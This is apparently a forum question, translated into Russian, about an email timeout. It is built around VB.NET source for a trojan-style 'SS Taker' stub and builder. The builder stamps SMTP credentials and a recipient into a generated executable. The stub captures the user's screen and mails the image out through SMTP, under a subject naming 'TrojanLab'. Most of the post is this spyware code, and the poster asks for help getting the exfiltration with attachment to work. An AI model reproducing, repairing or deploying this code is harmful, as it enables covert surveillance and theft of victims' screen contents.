Тайм-аут отправки почты [gmail SMTP-Visual Studio] - PullRequest
0 голосов
/ 07 ноября 2019

, когда я пытаюсь отправить письмо с вложением, я получаю ошибку тайм-аута, но когда я пытаюсь отправить без вложения, это работает.

Я использую заглушку и сервер, если я устанавливаю все вручную (например, имя пользователя, пароль, хост, порт), он работает нормально, но когда я использую его для сборки с сервером, все в порядке, но ошибка отправки почты,С приложением показывает время ожидания, без приложения работает. Но мне нужно с вложением.

Я попытался выполнить поиск в Google и не смог найти ответ, который действительно работает.

Код заглушки

Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Dim drop() As String = Split(System.IO.File.ReadAllText(Application.ExecutablePath), "[S]")
        Dim currentScreen = Screen.FromHandle(Me.Handle).WorkingArea

        'create a bitmap of the working area
        Using bmp As New Bitmap(currentScreen.Width, currentScreen.Height)

            'copy the screen to the image
            Using g = Graphics.FromImage(bmp)
                g.CopyFromScreen(New Point(0, 0), New Point(0, 0), currentScreen.Size)
            End Using

            'save the image
            bmp.Save(My.Computer.FileSystem.SpecialDirectories.Temp & "/tempss.bmp", System.Drawing.Imaging.ImageFormat.Png)
        End Using
        MsgBox("Username " & drop(2))
        MsgBox("Password " & drop(3))
        MsgBox("Port " & drop(4))
        MsgBox("SSL " & drop(5))
        MsgBox("To " & drop(6))
        Try
            Dim Smtp_Server As New SmtpClient
            Dim e_mail As New MailMessage()
            Smtp_Server.UseDefaultCredentials = False
            Smtp_Server.Credentials = New Net.NetworkCredential(drop(2), drop(3))
            Smtp_Server.Port = drop(4)
            Smtp_Server.EnableSsl = True
            Smtp_Server.Host = drop(1)
            e_mail = New MailMessage()
            e_mail.From = New MailAddress(drop(2))
            e_mail.To.Add(drop(6))
            e_mail.Subject = "Test Mail From TrojanLab"
            e_mail.IsBodyHtml = True
            e_mail.Body = "Hello if you received this mail that means your SMTP working perfectly!"
            Dim attachment As System.Net.Mail.Attachment
            attachment = New System.Net.Mail.Attachment(My.Computer.FileSystem.SpecialDirectories.Temp & "/tempss.bmp")
            e_mail.Attachments.Add(attachment)
            Smtp_Server.Send(e_mail)
            Smtp_Server.Send(e_mail)
        Catch error_t As Exception
            MsgBox(error_t.ToString)
        End Try
        Me.Close()
    End Sub

Код сервера

Dim sfd As New SaveFileDialog
        Dim ssl As Integer
        If Form2.CheckBox1.Checked = True Then
            ssl = 1
        Else
            ssl = 0
        End If
        Try
            With sfd
                .FileName = "ss taker.exe"
                .Title = "Choose output folder"
                .Filter = "Executable File (*.exe)|*.exe"
                .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
                If .ShowDialog = Windows.Forms.DialogResult.OK Then
                    Dim sp As String = "[S]"
                    Dim buffer As Byte() = My.Resources.SS
                    My.Computer.FileSystem.WriteAllBytes(.FileName, buffer, False)

                    System.IO.File.AppendAllText(.FileName, "[S]" & Form2.TextBox1.Text & "[S]" & Form2.TextBox2.Text & "[S]" & Form2.TextBox3.Text & "[S]587[S]1[S]" & TextBox2.Text)

                    MsgBox("SS Taker build successful!", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Success")
                End If
            End With
        Catch ex As Exception
            MsgBox("Failed to build!" & vbNewLine & ex.Message, MsgBoxStyle.Critical + MsgBoxStyle.OkOnly, "Error")
        End Try

Почта с вложением не отправляется. Я хочу отправить письмо с вложением

...